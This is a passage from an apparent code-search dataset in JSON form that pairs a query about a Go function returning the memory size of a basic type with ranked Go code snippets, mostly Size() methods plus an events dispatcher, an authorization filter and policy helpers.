globals.DSCEventsDir,\n\t\tMaxFileSize: 1 * 1000 * 1000, // 1mb\n\t\tMaxNumFiles: 4,\n\t}\n\n\t// populate default object reference to be used by events dispatcher\n\tdsc := &cluster.DistributedServiceCard{}\n\tdsc.Defaults(\"all\")\n\tdscid := c.InfraAPI.GetConfig().DSCID\n\tif dscid == \"\" {\n\t\tdscid = nodeName\n\t}\n\tdefObjRef := &api.ObjectRef{\n\t\tKind: dsc.GetKind(),\n\t\tName: dscid,\n\t\tTenant: dsc.GetTenant(),\n\t\tNamespace: dsc.GetNamespace(),\n\t\tURI: dsc.GetSelfLink(),\n\t}\n\n\t// create the events dispatcher with default values\n\tc.evtsDispatcher, err = dispatcher.NewDispatcher(nodeName, 0, 0, storeConfig, defObjRef, defLogger)\n\tif err != nil {\n\t\tlog.Errorf(\"Controller API: evt dispatcher create failed, err %v\", err)\n\t\treturn err\n\t}\n\n\t// start venice exporter\n\texporterChLen := 1000\n\tveniceExporter, err := exporters.NewVeniceExporter(exporters.Venice.String(), exporterChLen, \"\", c.ResolverClient, defLogger)\n\tif err != nil {\n\t\tlog.Errorf(\"Controller API: venice exporter create failed, err %v\", err)\n\t\treturn err\n\t}\n\teventsChan, offsetTracker, err := c.evtsDispatcher.RegisterExporter(veniceExporter)\n\tif err != nil {\n\t\tlog.Errorf(\"Controller API: venice exporter register failed, err %v\", err)\n\t\treturn err\n\t}\n\tveniceExporter.Start(eventsChan, offsetTracker)\n\n\tc.policyMgr, err = policy.NewManager(nodeName, c.evtsDispatcher, defLogger)\n\tif err != nil {\n\t\tlog.Errorf(\"Controller API: policy manager creation failed, err %v\", err)\n\t\treturn err\n\t}\n\tc.startPolicyWatcher()\n\n\t// create RPC server\n\tserverURL := fmt.Sprintf(\"127.0.0.1:%s\", globals.EvtsProxyRPCPort)\n\trpcServer, err := rpcserver.NewRPCServer(globals.EvtsProxy, serverURL, c.evtsDispatcher, defLogger)\n\tif err != nil {\n\t\tlog.Errorf(\"error instantiating events proxy RPC server (%s)\", err)\n\t\treturn errors.Wrap(err, \"error instantiating events proxy RPC server\")\n\t}\n\n\tc.evtsRPCServer = rpcServer\n\tc.evtsDispatcher.Start()\n\tlog.Info(\"Controller API: Started Events Dispatcher\")\n\tc.PipelineAPI.HandleEvents(c.evtsDispatcher)\n\treturn nil\n}", "title": "" }, { "docid": "1a1841b123c400e7bcaf1d946edb7bef", "score": "0.4717462", "text": "func AuthorizationFilter(c *revel.Controller, fc []revel.Filter) {\n\tif !revel.Config.BoolDefault(AUTHENTICATED_CONF, false) {\n\t\tfc[0](c, fc[1:])\n\t\treturn\n\t}\n\tif strings.Index(strings.TrimRight(c.Request.GetPath(), \"/\"), \"/ui\") == 0 {\n\t\tfc[0](c, fc[1:])\n\t\treturn\n\t}\n\n\tpermsList := c.Args[PERMS]\n\tif permsList == nil {\n\t\tc.Response.SetStatus(http.StatusUnauthorized)\n\t\tc.Response.GetWriter().Write([]byte(\"user does not have the permission to operate on this resource\"))\n\t\treturn\n\t}\n\trevel.AppLog.Debugf(\"before type conv=%+v %s\", permsList, reflect.TypeOf(permsList))\n\tif permListInt, ok := permsList.([]interface{}); ok {\n\t\tfor _, permInt := range permListInt {\n\t\t\tperm := map[string]string{}\n\t\t\tfor k, v := range permInt.(map[string]interface{}) {\n\t\t\t\tif v == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif b, ok := v.(bool); ok {\n\t\t\t\t\tif b {\n\t\t\t\t\t\tperm[k] = \"true\"\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tperm[k] = \"false\"\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif i, ok := v.(int); ok {\n\t\t\t\t\tperm[k] = fmt.Sprintf(\"%d\", i)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif f, ok := v.(float64); ok {\n\t\t\t\t\tperm[k] = fmt.Sprintf(\"%f\", f)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tperm[k] = v.(string)\n\t\t\t}\n\t\t\trevel.AppLog.Debugf(\"after type conv=%+v\", perm)\n\t\t\tif perm[\"Name\"] == \"all\" && perm[\"Resource\"] == \"*\" {\n\t\t\t\tfc[0](c, fc[1:])\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif strings.Index(c.Request.GetPath(), \"/api/v1/\"+perm[\"Resource\"]) == 0 {\n\t\t\t\tif c.Request.Method == \"GET\" {\n\t\t\t\t\tif perm[\"Read\"] == \"true\" {\n\t\t\t\t\t\tfc[0](c, fc[1:])\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif c.Request.Method == \"POST\" {\n\t\t\t\t\tif perm[\"Create\"] == \"true\" {\n\t\t\t\t\t\tfc[0](c, fc[1:])\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif c.Request.Method == \"PUT\" {\n\t\t\t\t\tif perm[\"Update\"] == \"true\" {\n\t\t\t\t\t\tfc[0](c, fc[1:])\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif c.Request.Method == \"DELETE\" {\n\t\t\t\t\tif perm[\"Delete\"] == \"true\" {\n\t\t\t\t\t\tfc[0](c, fc[1:])\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tc.Response.SetStatus(http.StatusUnauthorized)\n\tc.Response.GetWriter().Write([]byte(\"this user does not have the permission to operate on this resource\"))\n\treturn\n}", "title": "" }, { "docid": "777ea5349fe976cabf0ad3d8348b31c4", "score": "0.47173882", "text": "func (p *Policy) Assert(t *testing.T, policies ...*iam.Policy) *Policy {\n\tvar err error\n\tpolicies, err = p.filter(policies)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tswitch l := len(policies); {\n\tcase l == 0:\n\t\tt.Fatal(\"no matching policy was found\")\n\tcase l > 1:\n\t\tt.Fatal(\"more than one matching policy was found\")\n\tdefault:\n\t\tp.policy = policies[0]\n\t}\n\n\tp.filters = []shared.Filter{}\n\treturn p\n}", "title": "" }, { "docid": "7a4679096f06d9367f7cb86750262dbb", "score": "0.47150743", "text": "func ListPolicy(am *AMConnection) ([]Policy, error) {\n\n\tclient := &http.Client{}\n\treq, err := am.createNewRequest(\"GET\", \"/json/policies?_queryFilter=true\", nil)\n\tif err != nil {\n\t\tglog.Errorf(\"Could not create request: %s\", err)\n\t}\n\n\tdump, _ := httputil.DumpRequestOut(req, true)\n\tglog.Infof(\"dump req is %s\", dump)\n\n\t//debug(httputil.DumpResponse(response, true))\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\n\t//fmt.Println(\"response Body:\", string(body))\n\n\tvar result PolicyResultList\n\n\terr = json.Unmarshal(body, &result)\n\n\tif err != nil {\n\t\tglog.Errorf(\"Could not get result type: %s\", err)\n\t}\n\n\treturn result.Result, err\n}", "title": "" } ]
e153d4e834381487cb84d48934741e6a
Size returns the size in memory of a basic type
[ { "docid": "cff2ccca007930998d201cc4c298013e", "score": "0.7864458", "text": "func (t Basic) Size() int32 {\n\tswitch t {\n\tcase Int, Uint:\n\t\treturn 4\n\tcase Int8, Uint8:\n\t\treturn 1\n\tcase Float32:\n\t\treturn 4\n\tcase String:\n\t\tpanic(\"todo\")\n\tcase Bool:\n\t\treturn 1\n\tdefault:\n\t\tpanic(\"unknown basic type\")\n\t}\n}", "title": "" } ]
[ { "docid": "2ac7c71c48c793b672d6dd7a3dc7744f", "score": "0.8055605", "text": "func (t Type) Size() uintptr {\n\treturn t(z{}).Size()\n}", "title": "" }, { "docid": "7f43a4ee7d418ebdc5c1457b12d394f4", "score": "0.80089855", "text": "func (t *Type) Size() int {\n\treturn int(t.size)\n}", "title": "" }, { "docid": "009ae628badd31499effa70e66ac0c45", "score": "0.7641485", "text": "func (t Type) Size() uint32 {\n\tsize, found := TypeSizes[t]\n\tif found {\n\t\treturn size\n\t} else {\n\t\treturn 0\n\t}\n}", "title": "" }, { "docid": "98be5370d25e9d38102dd3f574d9a9e4", "score": "0.74910414", "text": "func Size(v interface{}) int", "title": "" }, { "docid": "508308c33902f1afa3d25dc295c93f73", "score": "0.74272406", "text": "func Sizeof(x ArbitraryType) uintptr", "title": "" }, { "docid": "435577150fae4e24da65ada0de0c39c9", "score": "0.74071497", "text": "func (d *Bozo32) Size() int { return Size }", "title": "" }, { "docid": "cec56e85e47e6f1626a5e3d09e43853e", "score": "0.7384376", "text": "func (o *Object) Size() int64 {\n return o.size\n}", "title": "" }, { "docid": "bafe3e38b57909196e4344281a4af0fb", "score": "0.7357772", "text": "func (o *baseObject) Size() int64 {\n\treturn o.bytes\n}", "title": "" }, { "docid": "2881424a889eab784513006519e7c766", "score": "0.7348999", "text": "func (manager *TypeManager) Size(offset dwarf.Offset) int {\n\tt := manager.types[offset]\n\tif t != nil {\n\t\treturn t.Size()\n\t}\n\treturn 0\n}", "title": "" }, { "docid": "75e238b0fdf0d2139a8716b1ed39dfc3", "score": "0.72973007", "text": "func (d Datatype) Size() uint64 {\n\treturn uint64(C.tiledb_datatype_size(C.tiledb_datatype_t(d)))\n}", "title": "" }, { "docid": "743b65a1807b3056325ea04b61f23fed", "score": "0.7282136", "text": "func (t *BaseType) Size() int {\n\treturn t.size\n}", "title": "" }, { "docid": "7e420f897660ce775b7df5006453e769", "score": "0.7277277", "text": "func (t *DynDatatype) Size() uint {\n\treturn uint(C.H5Tget_size(t.id))\n}", "title": "" }, { "docid": "68121c46bde24b8c43d5b109b8ee1dd5", "score": "0.721359", "text": "func (obj *WindowsNativeMemoryObject) Size() int64 {\n\treturn int64(obj.size)\n}", "title": "" }, { "docid": "3a1469fdbf9b92cd0328cffb6b64f6e2", "score": "0.72066414", "text": "func (o *ObjectInfo) Size() int64 {\n\treturn o.size\n}", "title": "" }, { "docid": "bf9f1635e2a3f28fa0cd8fd2abd9ba74", "score": "0.7189406", "text": "func (t *TypeDef) Size() int {\n\treturn t.Base.Size()\n}", "title": "" }, { "docid": "3da72275c738e670d0fb9185be00be2b", "score": "0.7183095", "text": "func (o *Object) Size() int64 {\n\treturn o.size\n}", "title": "" }, { "docid": "202c85777304cba9fabcfea4b85283af", "score": "0.71579903", "text": "func rtype_Size(*Type) uintptr", "title": "" }, { "docid": "9be756480dfedf3ea389c9c954f00509", "score": "0.71440977", "text": "func TypeSize(any interface{}) uintptr {\n\tt := reflect.TypeOf(any)\n\treturn t.Size()\n}", "title": "" }, { "docid": "5cfca28752de6ce8ed9b3484743f4b7a", "score": "0.7124793", "text": "func Size(v interface{}) uintptr {\n\tt := reflect.TypeOf(v)\n\n\tvar s uintptr\n\n\tif t == nil {\n\t\treturn s\n\t}\n\n\tswitch t.Kind() {\n\tcase reflect.Invalid:\n\n\tcase reflect.Slice:\n\t\tfallthrough\n\tcase reflect.Array:\n\t\ts += t.Size()\n\n\t\tb, ok := v.([]byte)\n\n\t\tif ok {\n\t\t\ts += uintptr(len(b))\n\t\t\tbreak\n\t\t}\n\n\t\tval := reflect.ValueOf(v)\n\t\tl := val.Len()\n\t\tfor i := 0; i < l; i++ {\n\t\t\tv := val.Index(i)\n\t\t\tif v.IsValid() && v.CanInterface() {\n\t\t\t\ts += Size(v.Interface())\n\t\t\t}\n\t\t}\n\n\t// TODO: The size of the hash map should also contains the hash keys and collision linked lists,\n\t// but the internal data structure is invisible.\n\tcase reflect.Map:\n\t\ts += t.Size()\n\t\tval := reflect.ValueOf(v)\n\t\tkeys := val.MapKeys()\n\n\t\tfor _, i := range keys {\n\t\t\tif i.IsValid() && i.CanInterface() {\n\t\t\t\ts += Size(i.Interface())\n\t\t\t}\n\t\t\tv := val.MapIndex(i)\n\t\t\tif v.IsValid() && v.CanInterface() {\n\t\t\t\ts += Size(v.Interface())\n\t\t\t}\n\t\t}\n\n\tcase reflect.String:\n\t\ts += t.Size()\n\t\ts += uintptr(len(v.(string)))\n\n\tcase reflect.Struct:\n\t\tval := reflect.ValueOf(v)\n\t\treflect.TypeOf(v).Kind()\n\n\t\tl := val.NumField()\n\n\t\tfor i := 0; i < l; i++ {\n\t\t\tfield := val.Field(i)\n\t\t\tif field.IsValid() && field.CanInterface() {\n\t\t\t\ts += Size(field.Interface())\n\t\t\t}\n\t\t}\n\n\tcase reflect.Ptr:\n\t\ts += t.Size()\n\t\tval := reflect.ValueOf(v)\n\t\tv := val.Elem()\n\t\tif v.IsValid() && v.CanInterface() {\n\t\t\ts += Size(v.Interface())\n\t\t}\n\n\tcase reflect.Interface:\n\t\ts += t.Size()\n\t\ts += Size(v)\n\n\tdefault:\n\t\ts += t.Size()\n\t}\n\n\treturn s\n}", "title": "" }, { "docid": "81c8c70443c22b9f006a6092e2692550", "score": "0.706678", "text": "func (element Element) Size() int {\n\tlength := element.Length()\n\treturn VarNum(element.Type).Size() + VarNum(length).Size() + length\n}", "title": "" }, { "docid": "ca225f5404d44f32555ef609c96cd369", "score": "0.70598876", "text": "func (c *ConstType) Size() int {\n\treturn c.t.Size()\n}", "title": "" }, { "docid": "f99b035847f9e755b6bbd3328aabe27a", "score": "0.6982315", "text": "func (fif *impl) Size() int64 { return fif.size }", "title": "" }, { "docid": "8e53fcd6d4ecee1cad7a9314af39b79c", "score": "0.6966842", "text": "func (size SizeM4) Size() uint64 { return uint64(size) << 2 }", "title": "" }, { "docid": "f17e9db90a2471a163ab2e4775cd29a2", "score": "0.6952486", "text": "func Size(obj T) int {\n\tif IsEmpty(obj) {\n\t\treturn 0\n\t}\n\tif IsArrayOfMaps(obj) {\n\t\treturn len(obj.([]map[T]T))\n\t}\n\tif IsArray(obj) {\n\t\treturn len(obj.([]T))\n\t}\n\tif IsMap(obj) {\n\t\treturn len(obj.(map[T]T))\n\t}\n\tif IsString(obj) {\n\t\treturn len(obj.(string))\n\t} else {\n\t\tfmt.Printf(\"TypeError (Size): what is this? %v\\n\", obj)\n\t\treturn math.MinInt64\n\t}\n}", "title": "" }, { "docid": "c795c8f65c29a82cbff28593f6c17f39", "score": "0.69339645", "text": "func (s *Struct) Size() int {\n\tsize := 0\n\tfor _, attr := range s.attributes {\n\t\tsize += attr.Offset\n\t}\n\treturn size\n}", "title": "" }, { "docid": "42b062f8104d2ddef26bb3786dfb22c8", "score": "0.69051945", "text": "func (un *Uniform) Size() int {\n\tif un.array {\n\t\tun.size = un.ln * un.typ.Bytes()\n\t} else {\n\t\tun.size = un.typ.Bytes()\n\t}\n\treturn un.size\n}", "title": "" }, { "docid": "35dbbc922259b6156cb8a2a7330474d8", "score": "0.6900112", "text": "func (c *uint32Type) Size() int {\n\treturn 4\n}", "title": "" }, { "docid": "6b2ce8483c1dee3a8dc231f99c2b862e", "score": "0.687871", "text": "func (e *EWMA) Size() int {\n\treturn 1\n}", "title": "" }, { "docid": "448611618ce26494aca64a46d0cb33d7", "score": "0.6876447", "text": "func (o *Object) Size() int64 {\n\tdebug(o.fs, \"Size '\"+o.remote+\"'\")\n\treturn o.info.Size()\n}", "title": "" }, { "docid": "c122648c32a297f448bd87f1bd3645c8", "score": "0.6875689", "text": "func (o *Object) Size() int64 {\n\terr := o.readMetaData(context.TODO())\n\tif err != nil {\n\t\tfs.Logf(o, \"Failed to read metadata: %v\", err)\n\t\treturn 0\n\t}\n\treturn o.size\n}", "title": "" }, { "docid": "c122648c32a297f448bd87f1bd3645c8", "score": "0.6875689", "text": "func (o *Object) Size() int64 {\n\terr := o.readMetaData(context.TODO())\n\tif err != nil {\n\t\tfs.Logf(o, \"Failed to read metadata: %v\", err)\n\t\treturn 0\n\t}\n\treturn o.size\n}", "title": "" }, { "docid": "66870381172cfcaa84b52faa7e8fe0e5", "score": "0.6873715", "text": "func (n *NodeWithMeta) Size() uint64 {\n\treturn uint64(len(n.Data))\n}", "title": "" }, { "docid": "b4531ee62834ad1ca71a3c78285bdf99", "score": "0.68718046", "text": "func (o *Object) Size() int64 {\n\tctx := context.Background() // Note: Object.Size does not pass context!\n\terr := o.readMetaData(ctx, false)\n\tif err != nil {\n\t\tfs.Errorf(o, \"%v\", err)\n\t}\n\treturn o.size\n}", "title": "" }, { "docid": "cf35b596b54c0a5291f5d9cbdc5efaac", "score": "0.6868628", "text": "func SizeOf(p *program.Program, cType string) (int, error) {\n\t// Remove keywords that do not effect the size.\n\tcType = removePrefix(cType, \"signed \")\n\tcType = removePrefix(cType, \"unsigned \")\n\tcType = removePrefix(cType, \"const \")\n\tcType = removePrefix(cType, \"volatile \")\n\tcType = removeSuffix(cType, \"const\")\n\n\t// FIXME: The pointer size will be different on different platforms. We\n\t// should find out the correct size at runtime.\n\tpointerSize := 8\n\n\t// A structure will be the sum of its parts.\n\tif strings.HasPrefix(cType, \"struct \") {\n\t\ttotalBytes := 0\n\n\t\ts := p.Structs[cType]\n\t\tif s == nil {\n\t\t\treturn 0, fmt.Errorf(\"cannot determine size of: `%s`\", cType)\n\t\t}\n\n\t\tfor _, t := range s.Fields {\n\t\t\tvar bytes int\n\t\t\tvar err error\n\n\t\t\tswitch f := t.(type) {\n\t\t\tcase string:\n\t\t\t\tbytes, err = SizeOf(p, f)\n\n\t\t\tcase *program.Struct:\n\t\t\t\tbytes, err = SizeOf(p, f.Name)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\ttotalBytes += bytes\n\t\t}\n\n\t\t// The size of a struct is rounded up to fit the size of the pointer of\n\t\t// the OS.\n\t\tif totalBytes%pointerSize != 0 {\n\t\t\ttotalBytes += pointerSize - (totalBytes % pointerSize)\n\t\t}\n\n\t\treturn totalBytes, nil\n\t}\n\n\t// An union will be the max size of its parts.\n\tif strings.HasPrefix(cType, \"union \") {\n\t\tbyteCount := 0\n\n\t\ts := p.Unions[cType]\n\t\tif s == nil {\n\t\t\treturn 0, fmt.Errorf(\"cannot determine size of: `%s`\", cType)\n\t\t}\n\n\t\tfor _, t := range s.Fields {\n\t\t\tvar bytes int\n\t\t\tvar err error\n\n\t\t\tswitch f := t.(type) {\n\t\t\tcase string:\n\t\t\t\tbytes, err = SizeOf(p, f)\n\n\t\t\tcase *program.Struct:\n\t\t\t\tbytes, err = SizeOf(p, f.Name)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\tif byteCount < bytes {\n\t\t\t\tbyteCount = bytes\n\t\t\t}\n\t\t}\n\n\t\t// The size of an union is rounded up to fit the size of the pointer of\n\t\t// the OS.\n\t\tif byteCount%pointerSize != 0 {\n\t\t\tbyteCount += pointerSize - (byteCount % pointerSize)\n\t\t}\n\n\t\treturn byteCount, nil\n\t}\n\n\t// Function pointers are one byte?\n\tif strings.Index(cType, \"(\") >= 0 {\n\t\treturn 1, nil\n\t}\n\n\tif strings.HasSuffix(cType, \"*\") {\n\t\treturn pointerSize, nil\n\t}\n\n\tswitch cType {\n\tcase \"char\", \"void\":\n\t\treturn 1, nil\n\n\tcase \"short\":\n\t\treturn 2, nil\n\n\tcase \"int\", \"float\":\n\t\treturn 4, nil\n\n\tcase \"long\", \"double\":\n\t\treturn 8, nil\n\n\tcase \"long double\":\n\t\treturn 16, nil\n\t}\n\n\t// Get size for array types like: `base_type [count]`\n\ttotalArraySize := 1\n\tarrayType, arraySize := GetArrayTypeAndSize(cType)\n\tif arraySize <= 0 {\n\t\treturn 0, fmt.Errorf(\"cannot determine size of: `%s`\", cType)\n\t}\n\n\tfor arraySize != -1 {\n\t\ttotalArraySize *= arraySize\n\t\tarrayType, arraySize = GetArrayTypeAndSize(arrayType)\n\t}\n\n\tbaseSize, err := SizeOf(p, arrayType)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"cannot determine size of: `%s`\", cType)\n\t}\n\n\treturn baseSize * totalArraySize, nil\n}", "title": "" }, { "docid": "ee0cbbdef27c9860699a79d16298aa82", "score": "0.68669116", "text": "func (o OATH) Size() int {\n\treturn o.size\n}", "title": "" }, { "docid": "546d210a762381c16712cd473fd65af9", "score": "0.6864916", "text": "func (b *TrefTypeBox) Size() uint64 {\n\treturn uint64(boxHeaderSize + len(b.TrackIDs)*4)\n}", "title": "" }, { "docid": "8f3d3f4e630957bf396d12e6dcc39639", "score": "0.6858147", "text": "func Size() (int, error) { return cfg.Size() }", "title": "" }, { "docid": "bd2cfadc580bbfd7956e0f5fa568e2f9", "score": "0.68522507", "text": "func (s *simpleStack[T]) Size() int {\n\treturn len(*s)\n}", "title": "" }, { "docid": "af62f50bc5193654f8096710ad33b0f0", "score": "0.68502104", "text": "func (d *BaseScoped) Size() uint64 {\n\treturn uint64(d.size)\n}", "title": "" }, { "docid": "9b9a2653288e86374acc78d07807135e", "score": "0.6841216", "text": "func (m *Measurement) Size() int {\n return m.data.Size\n}", "title": "" }, { "docid": "8f8496106b80beccfc9ff3375c355d84", "score": "0.68356884", "text": "func (r RelocType) Size() int {\n\tc, v := r.class()\n\treturn c.Size(v)\n}", "title": "" }, { "docid": "9256483c1347e5dc3af72c5105196fdb", "score": "0.6830692", "text": "func X__builtin_object_size(t *TLS, p uintptr, typ int32) types.Size_t {\n\treturn ^types.Size_t(0) //TODO frontend magic\n}", "title": "" }, { "docid": "9301ac2395d2f91bff81af5b9dde16db", "score": "0.68292755", "text": "func (v *Object) Size() int {\n\treturn len(*v)\n}", "title": "" }, { "docid": "6759e94a8f7aaeb55ebe78c847af9985", "score": "0.6816925", "text": "func (s *InMemSampleStorage) Size() int { return s.size }", "title": "" }, { "docid": "0f9b946ec310322fb7a87bb4b213dd62", "score": "0.6812784", "text": "func (s *SharedMemory) Size() uint64 {\n\treturn s.actualSize\n}", "title": "" }, { "docid": "23ddef72bac89e0f5e17bcbe0a695687", "score": "0.6799006", "text": "func (h *Buz64) Size() int {\n\treturn 8\n}", "title": "" }, { "docid": "a5d77535b5ab32a250a30c99645581c0", "score": "0.6779317", "text": "func (de *DebugEntry) Size() int64 {\n\tsize, _ := de.Val(dwarf.AttrByteSize).(int64)\n\treturn size\n}", "title": "" }, { "docid": "9ef7656d8550f0197eb6710cbc99a136", "score": "0.6772994", "text": "func (vec *T) Size() int {\n\treturn 4\n}", "title": "" }, { "docid": "834a7a9fb8626fe924f312ab310904c4", "score": "0.6746133", "text": "func (s size1D) Size() int { return int(s) }", "title": "" }, { "docid": "79cd789f9171541b188024b8e87c23ad", "score": "0.67425823", "text": "func (d *Digest) Size() int { return d.size }", "title": "" }, { "docid": "324f0d808f5a8ec598fc0a4c1d3c2f55", "score": "0.6741399", "text": "func (d *DTime) Size() uintptr {\n\treturn unsafe.Sizeof(*d)\n}", "title": "" }, { "docid": "8bdbed60c3f68ac6ef51cccfb897386e", "score": "0.67411417", "text": "func (oi *ObjectInfo) Size() int64 {\n\tif oi.size != -1 {\n\t\treturn oi.size\n\t}\n\treturn oi.src.Size()\n}", "title": "" }, { "docid": "605ceb9b56d230fa869a1d074c29affa", "score": "0.67352855", "text": "func (ba *BitArray) Size() int { return ba.n }", "title": "" }, { "docid": "10938d6672f52d7a04dc0ec6583ae7a9", "score": "0.67315507", "text": "func (o *Object) Size() int64 {\n\tif o.meta == nil {\n\t\treturn o.size\n\t}\n\treturn o.meta.Size\n}", "title": "" }, { "docid": "aecc97449b70a50e968949d976861856", "score": "0.6730206", "text": "func (d dNull) Size() uintptr {\n\treturn unsafe.Sizeof(d)\n}", "title": "" }, { "docid": "81ba20241884e7dbfa97009693d5d9e2", "score": "0.67283285", "text": "func (TPlaceholder) Size() (uintptr, bool) { panic(\"TPlaceholder.Size() is undefined\") }", "title": "" }, { "docid": "81e553acafdecfcfc0e1979f46fccf48", "score": "0.672509", "text": "func (p *Pointer) Size() int {\n\treturn p.size\n}", "title": "" }, { "docid": "4da8247a68793c4380bb63bbf7b53905", "score": "0.67115986", "text": "func (s *Hash[T]) Size() int {\n\treturn len(s.m)\n}", "title": "" }, { "docid": "495adde4be00dfe9db799aed1b471374", "score": "0.6705213", "text": "func (x *XXHash64) Size() int {\n\treturn 8\n}", "title": "" }, { "docid": "eebc276f1c374e926324c9b92319c58f", "score": "0.67050076", "text": "func Size(size uint64) string {\n\treturn units.BytesSize(float64(size))\n}", "title": "" }, { "docid": "d0b80f550127d098090a1e4f7692cb5c", "score": "0.6700466", "text": "func (c Carte)GetSize() int{\n\treturn c.size\n}", "title": "" }, { "docid": "fcd72ad2fac63c555c8a9cbe28a79d32", "score": "0.6696937", "text": "func (v *VolatileType) Size() int {\n\treturn v.t.Size()\n}", "title": "" }, { "docid": "f0cb969d24256ffcdd039884ce671651", "score": "0.6695794", "text": "func (i *BigInt) Size() int {\n\tbz, _ := i.Marshal()\n\treturn len(bz)\n}", "title": "" }, { "docid": "2ba67b466790a2d56b2b81455599e9ee", "score": "0.6694627", "text": "func (i *item) Size() (int64, error) {\n\treturn *i.properties.Size, nil\n}", "title": "" }, { "docid": "fae20d4636afea7b1ea6d54d63915dd7", "score": "0.6694427", "text": "func (g GenericHash) Size() int {\n\treturn g.size\n}", "title": "" }, { "docid": "02e694f49def401ceb78965b73560df6", "score": "0.668501", "text": "func (b *FtypBox) Size() uint64 {\n\treturn uint64(boxHeaderSize + 8 + 4*len(b.CompatibleBrands))\n}", "title": "" }, { "docid": "c30378a0e00a9212b5ab983240947294", "score": "0.66785604", "text": "func (vl *registryVolumeLayer) Size() (int64, error) {\n\treturn int64(vl.compressed.Len()), nil\n}", "title": "" }, { "docid": "2ea8a01b1567defa1eda6b1844163b37", "score": "0.66768456", "text": "func (t *TrunBox) Size() uint64 {\n\tsz := boxHeaderSize + 8 // flags + entrycCount\n\tif t.HasDataOffset() {\n\t\tsz += 4\n\t}\n\tif t.HasFirstSampleFlags() {\n\t\tsz += 4\n\t}\n\tbytesPerSample := 0\n\tif t.HasSampleDuration() {\n\t\tbytesPerSample += 4\n\t}\n\tif t.HasSampleSize() {\n\t\tbytesPerSample += 4\n\t}\n\tif t.HasSampleFlags() {\n\t\tbytesPerSample += 4\n\t}\n\tif t.HasSampleCTO() {\n\t\tbytesPerSample += 4\n\t}\n\tsz += int(t.sampleCount) * bytesPerSample\n\treturn uint64(sz)\n}", "title": "" }, { "docid": "63ca14a824ed75c5185b18b13d13a02f", "score": "0.6671391", "text": "func (b *CdatBox) Size() uint64 {\n\treturn uint64(boxHeaderSize + len(b.Data))\n}", "title": "" }, { "docid": "ce4364241b48acfffab1218a0e053838", "score": "0.66708505", "text": "func (b BitField) Size() int {\n\treturn len(b)\n}", "title": "" }, { "docid": "5b0faf6263c7dee75e8f37903ad5fd9a", "score": "0.6667896", "text": "func (d *DBool) Size() uintptr {\n\treturn unsafe.Sizeof(*d)\n}", "title": "" }, { "docid": "3f26f7c328cbd17e012f49821baeee39", "score": "0.6663449", "text": "func (p *Printer) sizeof(typ dwarf.Type) (uint64, bool) {\n\tsize := typ.Size() // Will be -1 if ByteSize is not set.\n\tif size >= 0 {\n\t\treturn uint64(size), true\n\t}\n\tswitch typ.(type) {\n\tcase *dwarf.PtrType:\n\t\t// This is the only one we know of, but more may arise.\n\t\treturn uint64(p.arch.PointerSize), true\n\t}\n\treturn 0, false\n}", "title": "" }, { "docid": "29b0369c941f448feebca730518d54d3", "score": "0.66376656", "text": "func (prop *Property) Size() int {\n\treturn len(prop.data)\n}", "title": "" }, { "docid": "83293fdf6ccfcf7bc45cdf2b6022ee4c", "score": "0.66294897", "text": "func (p *Packer) Size() uint {\n\tp.m.Lock()\n\tdefer p.m.Unlock()\n\n\treturn p.bytes\n}", "title": "" }, { "docid": "4b65f8faa97ddce5902da82aee9b4c41", "score": "0.6626801", "text": "func (b *ByteSize) Type() string { return \"byte_size\" }", "title": "" }, { "docid": "292dfed721deea5aa984e89db0c65034", "score": "0.66265386", "text": "func (this *AOF) Size() int64 {\n\tthis.RLock()\n\tdefer this.RUnlock()\n\treturn this.size\n}", "title": "" }, { "docid": "741bf6489481654ef2406c08677a3a55", "score": "0.66223645", "text": "func (s plainUintList) Size() int { return len(s) }", "title": "" }, { "docid": "43f5bad0da9f6cced605ca0fb90d98e0", "score": "0.66170996", "text": "func (t PrimitiveType) GetMemorySize() int {\n\tswitch t {\n\tcase Address:\n\t\treturn crypto.AddressLength\n\tcase Uint8, Int8:\n\t\treturn 1\n\tcase Uint16, Int16:\n\t\treturn 2\n\tcase Uint32, Int32, Float32:\n\t\treturn 4\n\tcase Uint64, Int64, Float64:\n\t\treturn 8\n\tdefault:\n\t\tpanic(\"primitive type not found\")\n\t}\n}", "title": "" }, { "docid": "c76d07acc010fd95d9388ab8b27c8c29", "score": "0.6615221", "text": "func Sizeof(x ArbitraryType) uintptr {\n\t// END OMIT\n\treturn 0\n}", "title": "" }, { "docid": "29cdf2f49e1dc5427acb7404808c2f64", "score": "0.6613989", "text": "func (t *TraceID) Size() int {\n\treturn (*bytesID)(t).Size()\n}", "title": "" }, { "docid": "00481ac5b8a6cc128ca2e1fe2c0503b9", "score": "0.6605775", "text": "func (rn *RawNode) Size() (uint64, error) {\n\treturn uint64(len(rn.RawData())), nil\n}", "title": "" }, { "docid": "6556242a391511a4dc56086530fec91d", "score": "0.6600331", "text": "func (d *DBytes) Size() uintptr {\n\treturn unsafe.Sizeof(*d) + uintptr(len(*d))\n}", "title": "" }, { "docid": "d867a6f235dc57a4afe1cbb24ccd41dd", "score": "0.65971744", "text": "func (d *digest) Size() int { return Size }", "title": "" }, { "docid": "d867a6f235dc57a4afe1cbb24ccd41dd", "score": "0.65971744", "text": "func (d *digest) Size() int { return Size }", "title": "" }, { "docid": 